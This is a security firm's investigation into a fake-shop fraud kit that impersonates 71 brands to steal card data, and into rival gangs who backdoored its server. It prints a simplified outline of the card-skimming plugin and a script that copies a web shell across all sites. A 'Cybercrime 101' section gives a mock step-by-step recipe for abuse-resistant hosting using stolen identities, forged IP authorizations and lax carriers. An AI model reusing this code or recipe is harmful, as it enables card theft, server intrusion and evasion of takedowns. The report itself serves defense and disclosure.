Operation Fashion Weak
We discovered a ready-made kit for mass-producing fake online shops, run from a single server. With it they built more than a thousand websites impersonating 71 real global brands, mostly in beauty, fitness and skincare.
TL;DR
We discovered a ready-made kit for mass-producing fake online shops, run from a single server. With it they built more than a thousand websites impersonating 71 real global brands, mostly in beauty, fitness and skincare.
Almost 10,000 credit card details were stolen by this server alone. The schema of the fraud is always the same: unbelievable discount too good to pass on, you rush the purchase, but the payment always "fails".
More than one criminal group is fighting for control over this server, with repeated successfull hacking attempts against each other. A clear winner has not emerged yet, but trust our word: it's quite the show!
The kit still works and can be set up again on another server, since the entire operation seems to run mostly automatically, powered by a couple of MBs of DeepSeek-written PHP code.
We're in the process of reporting all the findings to the relevant parties.
First, we got phished!
The email landed in the inbox of an employee at one of our clients, and it did exactly what it was built to do: the employee believed it and clicked. The client's email protection system raised an alert on it, and that alert was handed to our PAI Agent for analysis.
A phishing alert usually closes quickly. You find the malicious link, block the domain, check whether anything was typed into the page, reset what needs resetting, and move on. The PAI Agent started from the same place, but the destination of the link did not match the usual pattern. Instead of a fake login page, it opened a shop.

The shop carried a real brand's name, logo and product photos. The address gave it away, but only if you read it letter by letter. It was the brand's name with one or two characters swapped for look-alikes: an "l" where an "i" should be, a "c" in place of an "o". Next to the storefront sat a second address with the same misspelled name and a "checkout." prefix, and that is where the payment was taken. A shopper would not notice the jump from one to the other, because the checkout page presented itself as the payment step of the store they had just been browsing.
Single phishing pages are rarely built like this. A storefront and a separate payment back end, both dressed in the identity of a company that had nothing to do with either, suggested that someone had done this many times before. So the analysis turned away from the email and toward the infrastructure behind it.
The rest of this article is about what we found there.
It's not just a kit, it's a fraud factory!
The shop from the phishing email lived on a single server, and that server turned out to be home to hundreds of shops just like it. Following the trail led to the server and to an archive of its content. The archive holds the code of several of its sites, the access and error logs of every site, and the log of the control panel the operators used to run them all. The logs start on 7 July 2026, the day the server was set up, and end on 13 October. Together they contain about 24 million HTTP requests and more than 380,000 requests to the control panel.
The control panel log reads like the production record of a factory. The same sequence repeats hundreds of times:
- create a new site;
- delete the default files;
- paste in a copy of a master template;
- write a fresh configuration file;
- import the template's database;
- change the site's address inside the database;
- request an SSL certificate so the browser shows the padlock.
The fastest builds took less than a quarter of an hour, from an empty folder to a site online with a valid certificate. The current master template for the payment sites was pasted 336 times and its database imported 341 times. An earlier template had already been used 421 times before it was replaced.

Every payment site came off the line with the same three custom parts. A small plugin received the shopping cart from the storefront through the link and rebuilt it as an order. A theme made the payment page look like the next step of the store. A fake payment plugin collected the card details, sent them to the operators, and then told the shopper that the payment had failed. We take these parts apart in A closer look at it.
The factory also had maintenance staff. When the operators updated the fake payment plugin, they pushed the new version to 134 sites in under an hour. Away from the control panel, the shops' admin areas recorded 924 successful logins on 426 domains and 6,481 visits to the page that lists WooCommerce orders. Someone was following the orders closely.
None of this rests on a single source. The code shows how each part works. The logs show when each site was built, used and changed. On 13 October we also checked all 569 hostnames still on record from the outside, the way any visitor would. 495 still resolved. 211 still showed a storefront, and 89 had already been suspended by their e-commerce platform. Another 184 showed something much stranger, which we come back to in Gang war.
One phishing email had led us to a factory with a parts list, an assembly process and a maintenance crew. The shop our client's employee clicked on was one product among hundreds.
Who's the target?
Two groups pay for this operation. One is the shoppers who type their card into a fake checkout. The other is the brands whose names are used to bring those shoppers in.
On 13 October, the 569 hostnames still on record were impersonating 71 real brands. Nothing in the evidence suggests that any of these companies was breached. The operators only needed what every brand shows in public: its name, its logo and its product photos. We are not naming the brands in this article. The full list is part of the findings we are sharing with the relevant parties.
| Sector | Brands | Look-alike hostnames |
|---|---|---|
| Beauty, skincare and personal care | 37 | 346 |
| Clothing, footwear and accessories | 17 | 78 |
| Home and household | 7 | 77 |
| Food, drink and supplements | 6 | 34 |
| Gaming and audio | 4 | 21 |
| Total | 71 | 556 |
The remaining 13 hostnames belong to the operators' own infrastructure or could not be tied to a single brand. Beauty is clearly the core of the business, with half of the brands and six hostnames in ten. Most of the brands are American, with a handful from Korea, Australia and elsewhere.
The effort is not spread evenly. Nineteen brands account for 426 hostnames, more than three quarters of the total. The most targeted one, a skincare brand, had 48 look-alike checkout addresses on its own.
Each of those addresses is a small variation on the real name. A letter is replaced by one that looks similar at a glance, such as an "l" for an "i", a "u" for a "v" or a "c" for an "e". Two neighbouring letters trade places, or a vowel changes. The same misspelling is then reused with a different ending: .shop, .us, .com, .sale, .store or .it.com. More than seven in ten addresses end in .shop. With dozens of near-identical addresses per brand, taking one of them down changes very little.

For the shopper, everything starts with a storefront that looks right. The clone below copies the look of the real shop, down to its campaign photos, a "new in" banner and a "trending now" section. The address bar is the only part that does not match.

What happens at the payment step depends on which part of the factory the shopper reaches. Some clones handed the order to a genuine checkout on a real e-commerce platform, priced in US dollars and ready to take a real payment. Others sent the shopper to the fake "checkout." page described earlier, where the card details were collected and the payment was refused on purpose.

We are not going to describe the shoppers in detail, because the data that would do it belongs to them. What we can say is that most of the brands are American, that 65 of the addresses use the .us ending, and that the checkout we captured priced its products in US dollars. Each of the 9,857 orders whose card data reached the operators was, in all likelihood, placed by someone who thought they were buying from a brand they knew.
By 13 October, 89 of the hostnames already led to a suspension notice from the platform. A suspension removes one shop. The look-alike domains, the templates and the factory behind them stay where they are, ready for the next brand.

Timeline

The factory came online on 7 July 2026. In the first hours of that day the operators logged into a freshly installed control panel, set up the web server and PHP, and switched on the panel's basic firewall. Within a few hours they had uploaded the first checkout template, a 65 MB archive whose database had been exported the day before, and authorised a twin server of theirs to drive the panel through its API. The first order went through the fake payment plugin that same day. Everything needed to take money was in place on day one. Dates and times in this section follow the server's own clock (UTC-4).
The rest of July went into widening the line. In mid-July a script appeared on the server for cloning WordPress sites across many databases at once. On 23 July a complete storefront of more than 6 GB was copied in from another server of the same network. At the end of the month a second template arrived, this time for the storefronts. From then on the factory had a model for each half of the scam: the shop window and the till.
August and September were production months. The panel log shows the same assembly sequence repeated day after day. Over the whole period the master checkout templates were pasted into new sites more than 750 times. Sites that had stopped being useful were deleted, 372 in total, and fresh ones took their place. Orders were followed from the shops' own admin pages, away from the panel. Very few people did all this. In 84% of ten-minute windows only one connection was making changes in the panel, and never more than four at once, which points to a team of two to four people or workstations.
On the night of 14 September the operators rebranded the fake payment plugin. The code stayed the same, but its name and the address it sent card data to changed. The same night they created a new master template for the checkout sites, the one they would keep cloning until the logs end. The 9,857 orders whose card data was taken split almost evenly around that night: 4,684 before and 5,172 after. On 22 September the new plugin was pushed to 134 sites in less than an hour. On 28 September the operators exported around 11 GB of storefronts and templates from the server and emptied the panel's recycle bin. The logs do not say why.
The way the factory was run also left a door open. To save time, a new site went online, complete with its certificate, before its database was imported. For that window, sometimes minutes and sometimes days, anyone who opened the site found the WordPress installation page and could finish the installation as administrator. On every new site the operators also deleted the small configuration file that stops one site from reading or writing another site's files, and they ran every site under the same system user. Scanners found the open installers quickly, in some cases within a minute of the certificate being issued.
The first takeovers came on 21 and 22 September. On 21 September an outside actor completed the installation of a half-built site and activated a file manager plugin on it. The next day a different attacker did the same on another site and tried to use the new foothold to reach the rest of the server. That attempt failed: the isolation file on that site was still in place, and PHP blocked it. Less than an hour later the operators deleted that file themselves and rebuilt the site.
On 29 September the same attacker found another half-built site. It had gone online two days earlier, without its database and without its isolation file. The attacker completed the installation, uploaded a theme with a hidden web shell, and then a script of 23 lines. Opening that script once was enough to copy the web shell into the folder of every site on the server, the master checkout template included. That night the attacker went through the sites one by one, in alphabetical order, and found the shell answering on 138 of them.
A few hours later, early on 30 September, the operators cloned their master template into a new site, as they had done hundreds of times before. This time the template carried the intruder's web shell, and so did every site built from it afterwards, 66 of them by 12 October. The factory had started manufacturing compromised shops. In the following days more intruder tools gathered inside the template, so new sites came out with a whole set of backdoors already installed.
The shell soon became a shared entrance. It logged every upload it received, and its logs record 100 uploads from many different sources over the next two weeks. Then the waves came. On 6 October one group spread its own backdoor kit to 398 domains in about twenty minutes. On 7 October another group replaced the main configuration file of at least 190 sites with a control panel of its own, working through them in alphabetical order in less than two minutes. Those sites stopped working as shops at that moment, because WordPress could no longer start. When the operators noticed, they repaired one site by hand and rebuilt the others from their template, which was itself infected.
That is where the record ends. When the logs stop on 13 October, the web shells are still on disk and the master template is still infected. A piece of intruder code is still checking in every 20 seconds, and the operators had cloned the template one last time the night before. Our check from the outside that same day found 184 sites that no longer showed a shop at all, only an open control panel. Whoever holds the kit can rebuild the whole line on a clean server, and whoever holds this server has a factory that turns out compromised shops by default.
A closer look at it
Every checkout site in the factory runs on WordPress and WooCommerce, the most common way to build an online shop. On top of that standard base the operators added three pieces of their own: a plugin that receives the shopping cart, a theme that hides the seams, and a fake payment plugin that takes the card. The sites also ran on pirated copies of two commercial WordPress products, a caching plugin and the parent theme, with their licence checks patched out.
The cart arrives inside the link
When a shopper clicks "buy" on a storefront clone, the storefront sends them to the checkout site with the whole cart written into the address:
https://checkout.<look-alike-domain>/?mode=cart&cart=[{"title":"<product>","price":<price>,"quantity":<qty>}]The first custom plugin calls itself "Nexus Cart Bridge" and claims to come from an author named "Studio". It reads that parameter before any page is drawn. It empties the current cart, creates a hidden product on the fly for every line, with whatever name and price the link carries, and sends the shopper straight to the payment page. It checks nothing: no login, no signature, no check of where the request came from. Anyone who knows the format can create products at any price, zero and negative included. It also means the checkout site needs no catalogue of its own. On the site whose code we analysed, the only product pages left in the cache were generic sports accessories, on a checkout dressed as a supplements brand.
A page that looks like the store
The custom theme does the cosmetic work. If someone opens the checkout address without the cart parameter, the theme sends them on to the storefront. A visitor who trims the address, or a scanner that only looks at the home page, ends up on the shop. On the payment page the theme hides the site's own header and title and adds a small breadcrumb, Home › Payment, that points back to the storefront. The page reads as the last step of the store the shopper was just browsing.
The payment that always fails
The third plugin is the core of the fraud. In the WordPress admin it presents itself with these details:
/*
* Plugin Name: Woo commerce
* Plugin URI: https://www.Woocommer[.]com/
* Author: Woo
*/The name and author imitate WooCommerce itself, and the web address is a misspelling of the real one, so the plugin blends into the plugin list of any WooCommerce shop. The shopper simply sees a "Credit Card" option at checkout. What happens when they press "Pay" fits in a few lines. This is a simplified outline of the plugin's payment function, not the original code:
// Simplified outline of process_payment()
$data = [ card number, expiry date, CVV,
name, email, phone, billing and shipping address,
shopper's real IP address, items, site domain ];
post_json('https://[redacted]/api/gateway', $data); // collector address withheld by us
// certificate checks off, 8 s timeout
// the reply is ignored
$order->update_status('failed'); // on every order
if ($attempts < $max_attempts) show('Payment failed. Please try another card.');
else show('Payment failed. Please try PayPal.');The card is never charged. The plugin even contains a function for the Luhn check, the basic test every real payment provider runs on a card number, but never calls it, so any plausible number goes through. To get the shopper's real IP address it looks first at the headers that CDNs such as Cloudflare add, and only then at the connection itself. Every order is marked as failed, and a scheduled task runs every hour to mark as failed any order still left pending. The error message does the rest. The shopper tries a second card, then perhaps a third, and every attempt hands the operators one more card. Across the server, the 9,857 orders whose data was collected produced about 23,900 submissions, more than two per order.
The failure has a second effect that is easy to miss. Because nothing is charged, nothing shows up on the shopper's statement. From their side there was a checkout that did not work and no purchase, which is not the kind of event that makes people call their bank.
The plugin is careless with itself too. The identifier it uses with the collector is printed in the page code, where any visitor can read it. An address that requires no login lets anyone change the status of any order and walk through the order numbers. The operators also tested their own product: at least 533 orders came from the same connections they used to run the control panel, which is how we separated their tests from real victims.
When the collector does not answer
If the collector is unreachable, the plugin does not drop the card. It writes everything, card number and CVV included, to a plain text file on the server:
wp-content/peng_queue/order_<id>_<timestamp>_<random>.jsonThe plugin protects that folder with a rule that blocks access from the web. Later, one of the intruders we describe in Gang war overwrote that rule with its own, which did not cover these files, so from then on any card waiting in the queue could be downloaded by anyone who knew the address. The queue in the archive was empty. An older queue file from a previous version of the plugin, however, was still readable from the web. It contains a test transaction the operators ran with a standard test card on 28 June 2026, from a different checkout domain, nine days before this server was set up. The kit was already working somewhere else before this factory existed.
None of these pieces is sophisticated. Each one is small, plain and easy to copy, and that is exactly why the kit could be stamped onto hundreds of sites and why it can be set up again tomorrow on a new server.
Cybercrime 101 in 2026
This analysis turned into a wild goose chase pretty early on, with trails lost between lazy Western Tier-2 and Tier-3 carriers selling transit without much due diligence, paper companies in Eastern Europe, Chinese sub-sub-sub-sub-companies and stolen identities.
This chase was as excruciating as it was fascinating. So let's explore the details, and learn how to set up our very own paper company to safely host our malicious operations!
Remember folks, as many reputable security researchers (and our legal team) like to often remind us, "crime is bad and for nerds". Don't do crime.
But in all seriousness, we believe it's important that everyone has at least a general feel for how some of these operations are set up and run. Without this, security teams can face hard times when trying to make sense of some of the things they see during investigations.
Now back into character.
So you want to host cybercrime infrastructure
It'd be a shame if a simple abuse report could take your entire operation offline.
If you really want some serious resilience, here's what you do:
- Call your favourite compromised IDs broker, and ask if they have anything from a remote countryside area. Bonus points if the specific jurisdiction doesn't ask too many questions. More bonus points if it's in a different area of the world from wherever you're based in, or from an area with no mutual legal assistance treaties with whichever countries you're planning to target. Here's your future company's contact-person. Alternatively, you could always bribe people, but that requires some much more involved starting capital.
- Now you need an actual address for your "headquarters". So go and grab a registered agent or a commercial PO box.
- Next, you incorporate a new company in a country (or state, if you're in the US) which doesn't ask too many questions. Preferably, some country or state which treat beneficial ownership disclosures as optional.
- Now you "just" need to connect to the Internet! So first of all you need to obtain an IP subnet. You'll need to find a Local Internet Registry or a broker willing to lease a clean /24 block. Here you have many options, from forging a Letter of Authorization, to relying on your initially clean name.
- Now you can work on connecting that to the global Internet. Tier-1 carriers are out of the question, since they have some actual abuse desks. So you find an accommodating Tier-2 (difficult) or a smaller regional Tier-3 carrier (much easier) to sell you IP transit and route your BGP advertisements while not paying too much mind to abuse handling. Alternatively, you can always throw some money at the problem.
- Now you're all set! You can slowly begin to accept new customers to host their infrastructure.
- But don't do that too quickly! Otherwise you risk your own transit providers having your routes filtered, or having their contracts with their upstream providers terminated. Which, not like you care about them, but it'd be annoying to you. So, don't do that. And ideally, you should probably advertise for the general public too. If you have legit businesses using you, that makes your operations much more resilient.
- Now you're ready to host cybercrime infrastructure! Depending on how many bonus points your choices have earned you so far, an abuse report will need to traverse 2-to-4 different jurisdictions before eventually reaching a trash bin and never get read. Much longer than it'll take you to re-route your infrastructure somewhere else, or, well, grease some new hands.
Gang war
The operators built the factory, but by October they were no longer the only ones running it. The server's logs and the code left on it show at least three separate groups of intruders working on the same machine at the same time, plus a crowd of smaller visitors. Each came with its own tools, its own doors and its own business, and most of what they left behind is about keeping the others out. The open control panel we found on 13 October is, in our reading, the clearest sign of that fight.
One folder, many owners

On the site whose code we analysed, almost every file in the main folder belongs to someone different:
| File | What it is | What it says about its owner |
|---|---|---|
index.php |
the site's front door, rewritten into a backdoor that also passes every visitor to an outside traffic system | opens only with a cookie checked against a hash computed four times |
filefuns.php |
loader of a toolkit driven through an ?ARRAY= parameter, prints the marker "BiaoJiOk" |
commands written in Chinese pinyin |
term.php |
ZEDD web shell, deletes the WordPress login page on every request | interface in Indonesian |
bootstrap.inc.php |
MiliCode file manager disguised as part of Laravel, with privilege escalation exploits | signed "TEAM-17" |
contacts.php |
ANALIST SHELL, a commercial web shell | built-in pages for reselling the access |
gyrhawnd.php |
deletes eight security plugins on every request and wipes its own folder if someone decodes it on the server | leaves an insult for whoever tries |
t00x.php |
Toolsx file manager | default password "toolsx" |
wp-url-links.php |
"WebShell by boot" file manager | password protected |
test.php |
an 81-byte reverse shell to an outside machine | nothing else |
wp-config.php |
the site's configuration, replaced by a WSO panel | no password at all |
A few of these share keys and code. That ties the front-door backdoor, the ARRAY loader and dozens of hidden folders elsewhere on the site to a single group. The rest have nothing in common: different languages, different authors, different ways of locking the door.
The shared door
They all came in the same way. On 29 September the attacker described in the timeline took over a half-built site and used a short script to copy a web shell into every site on the server.

// cp.php, excerpt (comment ours)
$source = __DIR__ . '/index.php'; // the web shell hidden in the theme
$baseDir = '/////www/wwwroot///';
foreach (glob($baseDir . '/*') as $publicHtml) {
$target = $publicHtml . '/term.php';
if (@copy($source, $target)) $success[] = $target; else $failed[] = $target;
}
echo "<h3>✅ Berhasil dipaste:</h3>" ... "<h3>❌ Gagal:</h3>"The messages are Indonesian: berhasil dipaste means "pasted successfully", gagal means "failed". The shell it copied has an Indonesian interface too, and it writes a line to the error log for every file uploaded through it. Those lines record 100 uploads from many different sources in the two weeks that followed. One attacker had opened the door, and the shell soon became a shared entrance.
Hunting and locking out
Once inside, the groups spent a surprising amount of effort on each other. One of them dropped 232 copies of a small configuration file that blocks PHP files from running, and placed them everywhere except in the folders where its own shells sat. Its own tools kept working, and anyone else's stopped. A Russian-language file manager came with a built-in scanner for finding other people's shells. The ARRAY toolkit has commands called kill-9-1 and uninstall, and one called so_dui_shou, which reads as pinyin for "search for rivals". Other files deleted security plugins and the WordPress login page on every request, or rewrote the site's front page and set it to read-only whenever someone touched it.
Nobody trusted their position to last. The ARRAY group ran a controller that went back over 370 to 380 domains roughly every five hours to check its loaders and re-arm them. A piece of its code running on the server itself checked in every 20 seconds. Other visitors simply went shopping for shells: one scanner walked through 409 domains, and another, which gave itself away with a misspelt browser name, left more than 60,000 lines in the logs looking for doors left by others.
...and they just gave up
Then one group stopped competing and flattened the field.

Through the shared shell, an attacker uploaded a script that took any file and copied it into every site. The file it chose was a WSO control panel, saved over each site's wp-config.php. The script worked through the sites in alphabetical order and checked each one from the server itself, which is why the server's own address appears in the logs as the visitor. It reached the letter J and stopped when the connection dropped, after rewriting at least 190 sites in about 100 seconds. Eight minutes later Telegram's link preview bot fetched three of those addresses, which means someone had just pasted them into a Telegram chat. Over the next six days, 221 different addresses used the panels, with more than 4,300 successful commands on 167 domains, following the same alphabetical order. On 8 October one of them was used to plant a phishing kit for webmail logins.
With its configuration replaced, WordPress could no longer start on those sites. The fake shops went down, the operators lost their way into the admin pages, and several backdoors that other groups had hidden inside WordPress's own startup files went quiet, because those files were no longer loaded. The operators noticed within a few hours. They repaired one site by hand and rebuilt the others from their template, which was already infected. A few days later the logs show them opening intruder files one by one, apparently trying to work out what they were.
Why the open panel matters
Every other group on this server protected its door, with cookie checks, passwords, lockers against rival files and read-only files. The panel written over 190 configuration files had no password at all. You do not leave a door like that open on a server you plan to keep. In our reading, this is what a contested server looks like when one side decides that if it cannot hold it, nobody will. The shops break, the other groups lose their quiet backdoors, and the access is handed out on Telegram to whoever wants it. We cannot prove intent from logs alone, but every fact we have points the same way. On 13 October, 184 of those panels were still open.
The thieves were robbed too
The cost of this fight does not fall only on the criminals. The card queue described in A closer look at it became downloadable after one of the intruders replaced its protection. On the site whose code we analysed, the shop's database, with every customer's name, address, email and phone number, could be read through at least ten different shells without a password. The front-door backdoor passed each visitor's address, language and browser to an outside traffic system that decided what to show them, and the logs show it being tested with paired visits as a search engine and as a normal browser. The intruders were redirecting the traffic the fake shops had paid to attract.
The two sides really are different people. None of the 400 addresses the operators used for the control panel, and none of the 465 used to manage orders, appears among the 4,650 addresses that talked to the backdoors, not even in the same network block. For the shoppers caught in the middle, it means their data did not stay with one gang. On a server this open, it may have reached several.
Conclusions
It started with one phishing email and one alert. Behind them we found a production line: about a thousand sites built from a handful of templates, 71 brands copied without ever being breached, card data from 9,857 orders sent to the operators, and a server so poorly kept that several other gangs moved in and fought over it.
The server is the least important part of this story. Servers get suspended, domains expire and shops are taken down; 89 of them already were by 13 October. The kit is what survives. It is a set of templates, three small plugins and a routine that a team of two to four people ran from a control panel, and the evidence shows it moving: a test transaction nine days before this server was set up, a storefront copied in from another machine, a twin server driving the panel, gigabytes of storefronts and templates exported out. Whoever holds a copy can start again on a clean server, with new look-alike domains, and be taking cards within a day.
The fight between the intruders did not make the operation any less harmful. It spread the damage. Card data and customer records that would otherwise have stayed with one gang were, on a server this open, within reach of several.
For shoppers, the advice is simple. Before paying in a store you reached from an email or a link you did not look for yourself, read the address bar: a real brand does not take payments on a misspelt copy of its own name. A checkout that fails and then asks for another card, or for PayPal, is a warning sign rather than a glitch. And because this kind of checkout never charges the card, your statement will look clean afterwards. If you have typed your card into a page like this, call your bank anyway.
For brands, being impersonated does not require being hacked. Dozens of companies here had their names, logos and photos turned into bait, and the most targeted one had 48 look-alike checkout addresses on its own. Watching for look-alike domains, including "checkout." variants on cheap endings like .shop and .us, is now part of protecting a brand.
For security teams, the lesson is that a routine alert can be the visible end of something much larger, and that the first warning can come long before the email. Every site in this factory got a TLS certificate before it took its first order, and every certificate is written to public Certificate Transparency logs the moment it is issued. That is probably how some of the intruders found the half-built sites, in some cases within a minute of their certificates being issued. It is also the moment where our PAI Agent works. It specialises in the automatic early detection of typosquatted and spoofed domains, and it would have flagged and blocked this look-alike domain as soon as its TLS certificate was issued, before anyone had the chance to click the link. In this case the alert led us to the factory. Next time, the domain should not get that far.
We are sharing the domains and indicators from this investigation with the relevant parties. The factory we describe is still standing, and the kit it runs on was already working somewhere else before this server was set up.